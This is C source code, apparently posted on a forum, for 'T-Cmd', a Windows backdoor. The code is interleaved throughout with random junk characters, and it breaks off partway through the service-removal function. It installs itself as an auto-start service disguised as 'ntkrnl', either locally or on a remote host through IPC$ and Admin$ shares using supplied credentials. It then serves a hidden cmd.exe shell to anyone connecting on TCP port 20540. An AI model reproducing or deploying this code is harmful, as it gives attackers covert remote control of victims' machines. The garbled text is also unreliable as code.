#include <windows.h> #include <stdio.h>
#define BUFFER_SIZE 1024 typedef struct2 R' y1 E. y) ` k { HANDLE hPipe; SOCKET sClient; }SESSIONDATA,*PSESSIONDATA;
5 _/ e) V+ H" ?6 n" {* R5 Ctypedef struct PROCESSDATA { HANDLE hProcess; DWORD dwProcessId;" I0 c7 U/ j& {3 Y n struct PROCESSDATA *next;% P* P7 A) V( e }PROCESSDATA,*PPROCESSDATA;
HANDLE hMutex;; v8 U4 W) n! q6 G c PPROCESSDATA lpProcessDataHead; PPROCESSDATA lpProcessDataEnd;. _+ D# `3 \9 U' m1 J SERVICE_STATUS ServiceStatus;4 M. H( r+ T. t4 t SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI CmdStart(DWORD,LPTSTR *);7 t. ?) W2 m; z' q; e7 c void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);* s3 D1 Q: e& A0 L6 w) M DWORD WINAPI CmdShell(LPVOID);/ a8 `$ \+ g$ ^& U0 h8 ^$ d" A DWORD WINAPI ReadShell(LPVOID);% I) X6 g$ o/ M4 \ DWORD WINAPI WriteShell(LPVOID);
M! p! G" Q. P( H9 sBOOL ConnectRemote(BOOL,char *,char *,char *);7 C: x3 e' Y) ?" x- i void InstallCmdService(char *); void RemoveCmdService(char *);
6 @) w4 f3 E* [, e4 L* K: vvoid Start(void); void Usage(void);
int main(int argc,char *argv[])6 X7 F# u) A3 u { SERVICE_TABLE_ENTRY DispatchTable[] = { {"ntkrnl",CmdStart},. a1 f% U% [2 S6 Z, o' n {NULL ,NULL } };
if(argc==5) { if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE) { return -1; }
$ Z" C% p* Y Z: mif(!stricmp(argv[1],"-install"))0 n8 ? [, G* s5 P0 ~6 i; ]4 R- w {3 b9 I2 ]- c+ i; x! ]4 C InstallCmdService(argv[2]); }6 W D8 U2 R+ H/ R: Z( N0 L else if(!stricmp(argv[1],"-remove")): k5 O' n3 x. I" Z" x { RemoveCmdService(argv[2]); }
1 {* x+ f* t& C9 zif(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE); e% l v; l1 G% k. O { return -1; } return 0; }2 l" J/ a4 S% ^ X: Q* ^ else if(argc==2) {/ j$ h; D; R/ |" P/ u- V if(!stricmp(argv[1],"-install")) {5 N3 ?5 @! H, I2 a4 y9 M5 f: e& m InstallCmdService(NULL); }3 v0 s; H* m& l. D- n6 `; _ else if(!stricmp(argv[1],"-remove")) _2 h1 B& ^3 A# U+ e { RemoveCmdService(NULL);% ^ ~) R# T8 X1 L } else { Start(); Usage();' L0 W' d- O( |9 a/ ` }, M6 i) a9 ?: ?/ F0 ^& i( {) h. j7 j return 0; }
3 L; E2 {# `2 J$ nStartServiceCtrlDispatcher(DispatchTable);
' C R( v: W7 xreturn 0; }
void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv) { HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;$ g. q2 s* \0 h( Z ServiceStatus.dwServiceSpecificExitCode = 0;' a, v4 [2 j- _) n5 T/ b ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0;
" W1 V4 A5 _, e. l! O0 m9 ZServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);* L$ ?9 t0 U) `) y& k* F if(ServiceStatusHandle==0)# D8 _0 ]& G2 {' g w4 T {( T m8 ^8 E y0 Y6 b5 S OutputDebugString("RegisterServiceCtrlHandler Error !\n"); return ; }
9 L& h2 ~* D/ m0 XServiceStatus.dwCurrentState = SERVICE_RUNNING;% f8 I/ r& \. R( u0 {8 O ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; * O z* G/ y; `/ C& M5 ` if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)- L. V; w4 L8 s8 T4 r {% [( v# s$ n% x) X OutputDebugString("SetServiceStatus in CmdStart Error !\n"); return ;- v* u" b9 N( J( [ }
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); if(hThread==NULL)( X" `7 {% w8 p4 G8 Q6 ?% p. H {& z9 w6 R" H( c1 d$ A1 |! c/ l& ^ OutputDebugString("CreateThread in CmdStart Error !\n"); }
. e; H. {7 E$ w* h+ i6 e3 u" K+ mreturn ; }
" J: U/ |7 \, |) g2 Qvoid WINAPI CmdControl(DWORD dwCode) {) a% w1 p7 P4 N0 e8 b0 d, W6 N switch(dwCode)6 ]8 P+ A3 T8 C& C9 H% W2 P { case SERVICE_CONTROL_PAUSE: ServiceStatus.dwCurrentState = SERVICE_PAUSED;8 z2 E+ A/ T5 l8 G break;
; J% L, H% E2 @/ N* l8 S, q1 Fcase SERVICE_CONTROL_CONTINUE: ServiceStatus.dwCurrentState = SERVICE_RUNNING; break;
5 M$ q6 W- I1 j+ e. Z! b7 n. Acase SERVICE_CONTROL_STOP: WaitForSingleObject(hMutex,INFINITE); while(lpProcessDataHead!=NULL)2 _, l S% w% h; v {# P, Y' h" G7 `1 u7 \' N+ ^( n% J7 ~; g0 b TerminateProcess(lpProcessDataHead->hProcess,1); if(lpProcessDataHead->next!=NULL)7 W: U7 @$ W+ ?: Y: a6 ? { lpProcessDataHead=lpProcessDataHead->next; }/ J9 l! a* F9 N+ e else { lpProcessDataHead=NULL;# |$ F) s+ P# P# c3 m+ T2 e- j } }
ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0;! S0 j) q x& n8 R3 ` ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0;# f4 s8 H: N, Q6 P+ I* `$ X; v if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) {1 S3 u& A. }, j' { OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");+ f7 q; y! |$ `; n/ ~8 w/ J }
9 F, v; l0 Z( W( o4 HReleaseMutex(hMutex);. o* s* Y4 D) s5 f; C CloseHandle(hMutex); return ;
case SERVICE_CONTROL_INTERROGATE: break;
( h$ c( t7 m6 d6 Gdefault:& m2 C6 @) q. {+ t8 R; I break;! t) _$ Z" c4 a( S+ e }
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) {% p7 f% G; [5 c3 b OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); }
return ; }
DWORD WINAPI CmdService(LPVOID lpParam)7 x8 H3 y$ x( b& Z" o: } { 1 V- h5 o( {+ C2 x WSADATA wsa;: q% v- n+ W3 T- G, @- u: d SOCKET sServer; SOCKET sClient; HANDLE hThread;% _8 U" p- ^+ ]& g# F struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa);1 B; s* {9 R( S8 } sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sServer==INVALID_SOCKET)3 B& T% i, f& ^, n2 U% Y { OutputDebugString("Socket Error !\n"); return -1; / v6 E. u2 U& o- m }" H, [; i& [4 @8 o" q7 \0 l sin.sin_family = AF_INET;2 k% {. ^4 `$ M0 F& T% R7 a sin.sin_port = htons(20540);4 {; J+ m" ? [5 E8 r3 o sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)1 q- E0 d$ S$ i1 t { OutputDebugString("Bind Error !\n"); return -1; J2 h }& M3 C3 E } if(listen(sServer,5)==SOCKET_ERROR) {: C6 x E4 R) k" ]8 G9 {/ ` OutputDebugString("Listen Error !\n"); return -1; } 9 o( R1 v3 H) _ hMutex=CreateMutex(NULL,FALSE,NULL);. I3 l# ^' t8 W' t2 R/ `7 ]" \ if(hMutex==NULL) { OutputDebugString("Create Mutex Error !\n"); } lpProcessDataHead=NULL; lpProcessDataEnd=NULL;
while(1). Z* |' y' O3 Q' C* j {4 b q8 I' a! V5 a sClient=accept(sServer,NULL,NULL); hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); if(hThread==NULL) { OutputDebugString("CreateThread of CmdShell Error !\n"); break;; V8 J( W l# R8 w% U5 } } P- r& }) s; Z3 t" v( z1 x Sleep(1000); }
WSACleanup();0 ? O: i; u5 M0 ?4 ? return 0;# p/ ^* B( y/ a, M% R }
DWORD WINAPI CmdShell(LPVOID lpParam) { t/ i- w U/ g6 t. n SOCKET sClient=*(SOCKET *)lpParam;1 X/ j! @& @( U1 |+ K% q7 k, m HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;6 e7 G7 z2 g B% ] HANDLE hThread[3]; DWORD dwReavThreadId,dwSendThreadId; DWORD dwProcessId;! t3 v" s* c0 ]5 k) }$ M DWORD dwResult;1 N3 w# ]' W3 i0 x STARTUPINFO lpStartupInfo;( `: w) z! X: u8 [- H) F. c SESSIONDATA sdWrite,sdRead;0 p8 m$ M6 D$ m; C PROCESS_INFORMATION lpProcessInfo; SECURITY_ATTRIBUTES saPipe; PPROCESSDATA lpProcessDataLast; PPROCESSDATA lpProcessDataNow; char lpImagePath[MAX_PATH];
saPipe.nLength = sizeof(saPipe);; i" z* D3 B9 h- K8 R* X saPipe.bInheritHandle = TRUE;% x) m) R$ K* d# F# D6 O saPipe.lpSecurityDescriptor = NULL;, ~5 c5 r, o8 X, d if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0) 7 e# l. y7 {9 c5 t0 R# l { OutputDebugString("CreatePipe for ReadPipe Error !\n"); return -1;+ V, A, o# O! f0 [- L }
( [0 e/ B/ S9 E$ W8 d' s0 tif(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0) { OutputDebugString("CreatePipe for WritePipe Error !\n");/ y' H# N* K$ I! v3 U return -1; }
GetStartupInfo(&lpStartupInfo); lpStartupInfo.cb = sizeof(lpStartupInfo);8 `" w" W' q3 ~- `" ] l3 w lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;1 H. C" C$ g' [ lpStartupInfo.hStdInput = hWriteShell;! ]( Q2 X4 L2 m* F% H0 |/ N lpStartupInfo.hStdOutput = hReadShell;2 F/ I6 Z; A& Q, v lpStartupInfo.hStdError = hReadShell;5 E) ?* g/ k7 w) G/ y$ j lpStartupInfo.wShowWindow = SW_HIDE;
3 M- k2 s( d3 W: }7 r1 E6 y* NGetSystemDirectory(lpImagePath,MAX_PATH);; ^; ^6 ~# t' K strcat(lpImagePath,("\\cmd.exe")); , h# a4 V3 w0 B; { WaitForSingleObject(hMutex,INFINITE);+ G5 M2 l+ S( k0 ]. q3 x% E if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)8 ^; y' i3 P& R* F8 E { OutputDebugString("CreateProcess Error !\n");, D! v0 Q+ J1 l1 M6 U# y return -1;+ Q" {$ B' @' V }
. j6 t1 C U! J1 C) h* T, dlpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA)); lpProcessDataNow->hProcess=lpProcessInfo.hProcess; lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId; lpProcessDataNow->next=NULL; if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL)) { lpProcessDataHead=lpProcessDataNow; lpProcessDataEnd=lpProcessDataNow; } else8 K: o2 @# I* T) @$ j { lpProcessDataEnd->next=lpProcessDataNow; lpProcessDataEnd=lpProcessDataNow; }
4 ], ~0 c; b& f2 D2 QhThread[0]=lpProcessInfo.hProcess; dwProcessId=lpProcessInfo.dwProcessId;7 b) t1 ~3 V3 T5 L' F/ o' U8 E5 l CloseHandle(lpProcessInfo.hThread); ReleaseMutex(hMutex);
CloseHandle(hWriteShell); CloseHandle(hReadShell);
$ [ m& y$ s/ ^* H7 FsdRead.hPipe = hReadPipe;3 Y$ f3 K, m ^* c0 F# } sdRead.sClient = sClient;' [7 R4 B2 C* d7 f7 f hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); if(hThread[1]==NULL) {: x% a; t' c) z* J+ z" v' S8 n OutputDebugString("CreateThread of ReadShell(Send) Error !\n"); return -1; }
& c5 x5 w4 g, G& ]8 IsdWrite.hPipe = hWritePipe; sdWrite.sClient = sClient; hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);/ M/ L; D8 P$ t8 s+ b if(hThread[2]==NULL) {8 U6 B4 g4 T' V0 M1 n OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");! _# M' b( ^1 a' p return -1;; R$ y* P$ A- J5 A }
' B1 B, S# J0 T. P9 c3 }4 M9 P! QdwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))% k. @5 o/ E/ {6 k* ` { dwResult-=WAIT_OBJECT_0; if(dwResult!=0) l& I# [+ D l8 D) f {/ D9 a6 A0 @* ~7 }- s$ k6 g TerminateProcess(hThread[0],1);5 _. @0 R4 B) p% R( t% _ }# R1 Z, P" {9 N CloseHandle(hThread[(dwResult+1)%3]); CloseHandle(hThread[(dwResult+2)%3]); }
, r7 E) W; |; r3 j$ f1 BCloseHandle(hWritePipe); CloseHandle(hReadPipe);
, r7 ^/ w2 r5 C2 Y3 ^3 L) UWaitForSingleObject(hMutex,INFINITE); lpProcessDataLast=NULL;8 p1 U! }3 k! b/ ?1 @# H; j7 e( L) n lpProcessDataNow=lpProcessDataHead; while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))9 K6 ]8 m8 X: X4 @5 m8 |( T {6 r1 f. g* y" S8 O0 {5 V lpProcessDataLast=lpProcessDataNow; lpProcessDataNow=lpProcessDataNow->next;" g" x! P y0 u( a* W) v" T5 D }7 A8 p. {, c$ k4 t if(lpProcessDataNow==lpProcessDataEnd) { if(lpProcessDataNow->dwProcessId!=dwProcessId)6 J. F- ?2 Y. u4 X$ q! K { OutputDebugString("No Found the Process Handle !\n");% @1 [0 G0 [* n6 ~; R2 e }8 ?# E4 b- h z, ~7 S, r else8 I! g" o2 w( U3 j# T0 R4 f { if(lpProcessDataNow==lpProcessDataHead)( q6 K. G* d: F* F- Y {" Y6 H/ A- f5 n8 x b; o A4 V lpProcessDataHead=NULL;2 f+ N$ K' ?) x3 Y lpProcessDataEnd=NULL;: ] m. j5 q: R6 b7 v# B) K } else {0 X& r( F/ E$ f lpProcessDataEnd=lpProcessDataLast;5 q9 _! P' S! Q) i0 [6 O8 K( m }7 E% ~- A% K' I# t }# s; C7 n6 @' U8 y3 A* U }0 w2 A# d) S5 d: T9 w& [) P" g( p else- M( B! M1 i5 S Z( W, F/ L { if(lpProcessDataNow==lpProcessDataHead)- b) B2 ^ B; `: a6 v- J# w/ S { lpProcessDataHead=lpProcessDataNow->next;. y2 Q' O+ x1 n0 r; s }. [: _. g0 a! v, K( F) \5 X else6 g! B4 R) `% z5 a { lpProcessDataLast->next=lpProcessDataNow->next;# ~4 }0 |9 C# A: U# A/ Z } }$ r3 R& r0 ~3 P- |# { ReleaseMutex(hMutex);
& H- Y, ~1 O8 w& \return 0;4 }5 U2 h! o2 | }
5 c# x- @3 I# s& k4 }6 [0 ~DWORD WINAPI ReadShell(LPVOID lpParam) {( j( [/ g2 r% H& b" a SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;# U) K+ m6 `6 `: u2 Z7 ] DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;* ?3 J* A7 S/ I. W" m7 u char szBuffer[BUFFER_SIZE]; char szBuffer2Send[BUFFER_SIZE+32]; char PrevChar; char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n"; char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";
+ j% E, x2 Z3 i% Y4 z4 rsend(sdRead.sClient,szStartMessage,256,0);8 f6 d3 [* C) @( y send(sdRead.sClient,szHelpMessage,256,0);
# a: o4 N( | {! H/ e/ B. K+ Q4 x7 |3 d! zwhile(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL)) { 0 @, t- d3 A; I7 P+ ?/ _2 S4 R2 | if(dwBufferRead>0) { ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); X1 m( s- G' I! x l: D8 D7 ~1 Z }. W& B$ B% W# s; S3 U l0 Z else/ Z& W/ {+ X: w3 S$ X3 B {& u- u6 G: U, o0 m Sleep(10);6 I ~+ m; r& T4 y9 K continue;% {- F1 Y2 A i4 f, K }
for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)/ E! `5 b7 P, ?# q9 M { if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r')) {3 e: W: M, z. E3 T7 [- `3 I szBuffer[dwBuffer2Send++]='\r'; }+ ?4 T0 V6 j( z) T! a8 Z: ` PrevChar=szBuffer[dwBufferNow]; szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];4 Z# n, i6 E5 u z" Y7 ?" H8 a }
2 t4 Z0 _! y, k# |: [, dif(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR) {8 E* m" d/ X/ I: U7 ~ T OutputDebugString("Send in ReadShell Error !\n");% U! H3 |( q% @ X% Z/ F' ^ break;+ A7 d6 t# X1 A% ~- Z! l } Sleep(5);& V. e9 K s% U& p+ @ }
5 Q" U5 Q I/ A1 P3 e. p# `$ Vshutdown(sdRead.sClient,0x02); closesocket(sdRead.sClient); return 0;4 y* D( |) l( n$ M0 | }
DWORD WINAPI WriteShell(LPVOID lpParam)3 @7 P! b; |! V {, X5 g9 a) d+ y2 |7 ^# b5 `. g( x' \ SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam; DWORD dwBuffer2Write,dwBufferWritten; char szBuffer[1]; char szBuffer2Write[BUFFER_SIZE];
dwBuffer2Write=0; . H, f8 r# P# ^8 P while(recv(sdWrite.sClient,szBuffer,1,0)!=0) * }: R, q- D! C1 @) s2 C) x {1 b% k( u) N$ l; J) }1 V3 j% b# \" Q szBuffer2Write[dwBuffer2Write++]=szBuffer[0];
. h4 f) |4 o qif(strnicmp(szBuffer2Write,"exit\r\n",6)==0)6 D7 @1 i# @9 g5 R { shutdown(sdWrite.sClient,0x02); closesocket(sdWrite.sClient); return 0;0 o1 C+ U7 I U6 _ }
if(szBuffer[0]=='\n') { if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0) {* G. {# k. U) A/ Y5 V+ W OutputDebugString("WriteFile in WriteShell(Recv) Error !\n"); break;! h* Q% Y9 s2 O }* h% [" a# s8 o+ e& [ dwBuffer2Write=0; } Sleep(10);5 G8 w4 W" G$ s3 J1 Q* _" V }
shutdown(sdWrite.sClient,0x02); $ D( K3 i4 a+ r3 q5 N closesocket(sdWrite.sClient); return 0;& z6 ~, X6 g, w }
BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) 1 I4 p3 d# p$ O* Y5 s {2 i* [9 e( v; I" i char lpIPC[256];4 Z% y" {2 c1 ^ DWORD dwErrorCode; NETRESOURCE NetResource;
sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);% G D. V% ^& H. q) _0 N5 W( n" p; h NetResource.lpLocalName = NULL;* v# [# O. `+ O" l, K4 W; n NetResource.lpRemoteName = lpIPC;6 X7 e) \. C X; W8 t5 C |2 Y NetResource.dwType = RESOURCETYPE_ANY;, ~3 B: S/ P5 i1 @4 {" `: ?7 P8 @ NetResource.lpProvider = NULL;
if(!stricmp(lpPassword,"NULL")); u: b) L L/ g" L Y! d {% r# ~) X; C1 ^% ~ a1 F/ l& K lpPassword=NULL; }
if(bConnect) {/ V& w/ b: X9 n; m F+ O printf("Now Connecting ...... ");8 E9 d2 s, y* n2 Z( f! N) a( V while(1), k7 r1 y2 @* W6 b { dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);2 O# C( ]% C, e4 U if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) {1 ~+ ]3 D' {4 Q2 i WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);6 w# d' {6 c* o& o( T, ~ c: D }) F/ W3 P( e! P else if(dwErrorCode==NO_ERROR)& }7 p9 E/ |" F- b { printf("Success !\n"); break;9 | {6 A# Z2 F' F3 m }4 I* p3 K R' P/ Z7 Y- ^ else! R0 O/ g1 O) r% d+ @7 S0 U5 g( Q { printf("Failure !\n"); return FALSE;0 F# B: Q. t0 N } Sleep(10); }: q9 ?- q6 G3 _4 ^ } else { U( Q5 w- L* u6 v& e/ o printf("Now Disconnecting ... ");/ p2 ]& w8 y! P, s1 e2 e. v+ M dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); if(dwErrorCode==NO_ERROR)8 ^2 f9 J" S6 K4 ~& w {* i& g* a* b! r' C0 X+ Z* s9 D printf("Success !\n");7 z3 e' b0 w' y, `' r } else { printf("Failure !\n");9 ~* ^3 }: @5 u1 E6 R; x return FALSE; } }
3 P$ ~7 m! v1 T+ G n# |8 `& dreturn TRUE;4 Y% P9 t4 d( D/ t6 T- k" B( h, X. L }
void InstallCmdService(char *lpHost)+ ?, Q) _% y* \# T- S9 @ { SC_HANDLE schSCManager;+ ~ C# h( S1 B* z SC_HANDLE schService;, M6 y7 e- ^$ d* r7 | ]" k/ K char lpCurrentPath[MAX_PATH];, q, _# c8 }0 R char lpImagePath[MAX_PATH]; char *lpHostName; WIN32_FIND_DATA FileData; HANDLE hSearch; DWORD dwErrorCode;; x& u+ d+ `' ~: n' V/ S* F0 o SERVICE_STATUS InstallServiceStatus;
6 F# h& A! f4 D" n" c, e7 P( fif(lpHost==NULL)$ \0 ?2 |; E# {3 E3 ? {: z! o$ h( C8 L, ?4 L& c4 x GetSystemDirectory(lpImagePath,MAX_PATH); strcat(lpImagePath,"\\ntkrnl.exe");/ L* k7 p+ X" C0 o" ^9 w# ] lpHostName=NULL; } else- Z& C0 W3 k0 B! z# r: _$ C3 h$ B { sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);4 e0 ]- w- U8 j- S G lpHostName=(char *)malloc(256); sprintf(lpHostName,"\\\\%s",lpHost); }
G4 Z& k8 X, k- m( p/ Wprintf("Transmitting File ... "); hSearch=FindFirstFile(lpImagePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) {5 O! h& ^) ]$ Z6 P) W; E; b GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) { dwErrorCode=GetLastError();! O d5 ^4 U2 I3 { if(dwErrorCode==5)+ Q8 u. `( l3 `9 \* s+ k% x4 e { printf("Failure ... Access is Denied !\n"); }, Y" j' Z8 N4 }) l$ l$ F4 y' u1 R else {& J0 E7 n& z$ i& E# u+ m printf("Failure !\n"); }3 G$ ~+ n3 @* C" N! n return ; }# i# j+ @2 T& i* ~5 e; L else1 ^' V# Q6 q7 F# k) o4 @ { printf("Success !\n");% s6 H$ x7 d* Z; m- F6 ?2 z* G }2 _! T6 P. v/ M7 ]( ^/ |6 N8 Q } else/ p- T6 Q* u4 Y# m7 T' B' F { printf("already Exists !\n");" E( n, T$ x7 r1 q0 i FindClose(hSearch); }
6 u+ T; _- Y4 B, _% a4 M+ d+ ZschSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); if(schSCManager==NULL)# X j, n; h! p. u1 [+ m {: Y0 b7 I$ X# b: Q* p/ Q printf("Open Service Control Manager Database Failure !\n");. Z4 t5 j& K% x; m: |, P2 H return ;* v$ D0 l1 M V/ N R. ^/ r }
. C& k" h$ h' L7 T; o' D' ?& Pprintf("Creating Service .... ");' {0 A* l, f5 S- g5 I2 ?6 H schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,. \7 t& [/ y- N: E SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,# M" }" Z8 g6 m7 I" K h SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); if(schService==NULL) {6 Z$ F( Z$ _* V! y2 ? dwErrorCode=GetLastError();2 i$ E, q2 S6 L" h% B3 B$ ^ if(dwErrorCode!=ERROR_SERVICE_EXISTS), v( N6 k9 o2 M' P6 c# q { printf("Failure !\n"); CloseServiceHandle(schSCManager);8 i* u2 l) Y% j# Q7 T7 q4 u return ; } else {% i- p# i/ p1 ]& r/ o- W( `' {, U printf("already Exists !\n"); schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);' s9 |- Y6 @3 s/ c, E' c$ M if(schService==NULL)% [3 {3 o6 |+ N* S" ]9 ?- e# J {% @* U6 k* \: ~% ^* t printf("Opening Service .... Failure !\n"); CloseServiceHandle(schSCManager);# z/ D% _7 R3 j. [ u5 X$ s l return ; }8 W: \! ?4 o; y. h5 O } } else { printf("Success !\n"); }
printf("Starting Service .... "); if(StartService(schService,0,NULL)==0) ! B0 a' {! ]; m {9 K* _$ h- X' n$ ]2 h dwErrorCode=GetLastError();& d/ Z: Z+ G/ m" M. r" a if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)! N4 H) Y( I) @7 _2 G {2 c3 O1 G$ ~( V3 |3 }) q% J printf("already Running !\n");" |4 \# ?: s' M+ L CloseServiceHandle(schSCManager); 8 R2 j: X1 {4 X' X; D/ A CloseServiceHandle(schService);0 d1 {+ v3 M3 X& D+ { return ; }* J4 b: X/ i# R. H& y }$ X. d! D' k7 f else {* n' ^4 H$ e1 W+ o* F+ J2 i8 V printf("Pending ... ");. M& B( l# m! G% ? }
& j! A! A8 p& d' d2 ^while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) % @ h' D m4 j { if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING) { Sleep(100);% B5 G" ~: t6 `, A( U& g8 d }+ X: V/ i' j) S0 L ]' r else {# t! V5 X, O' S2 } break; } }, [0 H6 ]% c6 d! j% w8 O if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING) { printf("Failure !\n"); } else) d) [$ V: ~5 t j; B$ B. K( \, O {# a% Z# @# }+ }7 |6 d; s printf("Success !\n");. p/ x& {! t" `5 f. D2 \% S8 ~5 y }
; j/ ~- |* O6 kCloseServiceHandle(schSCManager);1 u2 t0 F5 ^* E5 M CloseServiceHandle(schService);5 U A+ D3 D' g* M+ p return ;1 v7 A B/ h3 I# V8 A7 ? }
void RemoveCmdService(char *lpHost) { SC_HANDLE schSCManager; SC_HANDLE schService; char lpImagePath[MAX_PATH]; char *lpHostName; WIN32_FIND_DATA FileData; SERVICE_STATUS RemoveServiceStatus;* ~: i" t- W/ O HANDLE hSearch; DWORD dwErrorCode;
/ B( q$ O" A7 O6 }if(lpHost==NULL); H X3 q; |! ~1 x. m6 O { GetSystemDirectory(lpImagePath,MAX_PATH);# v$ K# E% S( C strcat(lpImagePath,"\\ntkrnl.exe"); lpHostName=NULL; } else+ w! j6 C6 B3 r/ s' e2 _ {6 L+ n: i- N4 [: \( q# m sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost); lpHostName=(char *)malloc(MAX_PATH); sprintf(lpHostName,"\\\\%s",lpHost);! k9 d% H; Y2 [- {. l Y/ _ }
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);; C# _8 S: f d0 B# X0 R if(schSCManager==NULL)2 r. S) ]8 B( H/ e8 I { printf("Opening SCM ......... "); dwErrorCode=GetLastError(); if(dwErrorCode!=5)$ Y* G. J! z( E; k {& W) f0 {' N4 i printf("Failure !\n"); 0 W; v% E4 R4 ^. r' ^1 a% ~6 E }& i8 ]& Y. k+ Z6 v, P) L: u( k; V else { printf("Failuer ... Access is Denied !\n"); } return ; }
8 F: m" I* K, ^schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS); if(schService==NULL) ) r/ w0 x( W; O9 |7 [ { printf("Opening Service ..... ");" I2 G0 Y5 ` m0 E2 ^# ?8 { dwErrorCode=GetLastError();" o- Q9 N8 `+ y1 V' g7 B; `; O if(dwErrorCode==1060)$ \4 Q" d7 A2 m {7 Z/ Y1 g- Z' s printf("no Exists !\n");5 {6 A" |/ p$ Y; i6 }7 Q }( V# W& X( R& f else {7 ^# E( ]5 [0 j. T printf("Failure !\n"); } CloseServiceHandle(schSCManager);! _ t; K7 d! \8 L9 h2 n5 u% Q }' T- k9 ~* ?; J else {2 V+ c. e! i# J! _+ z) o printf("Stopping Service .... ");) c3 W5 X8 [. z+ m# m/ X if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)$ [$ W3 @, g- M" u/ M! f6 k' Q {, ?4 D7 F- o6 B, D if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED); u: o, }! T; N s' V {8 C3 M g0 \) ~4 M2 x( t printf("already Stopped !\n"); } else2 U( M9 I: w0 n: P+ Y# P- ^ K; b1 L& L { printf("Pending ... ");5 \7 \5 @# s# l+ O( Q 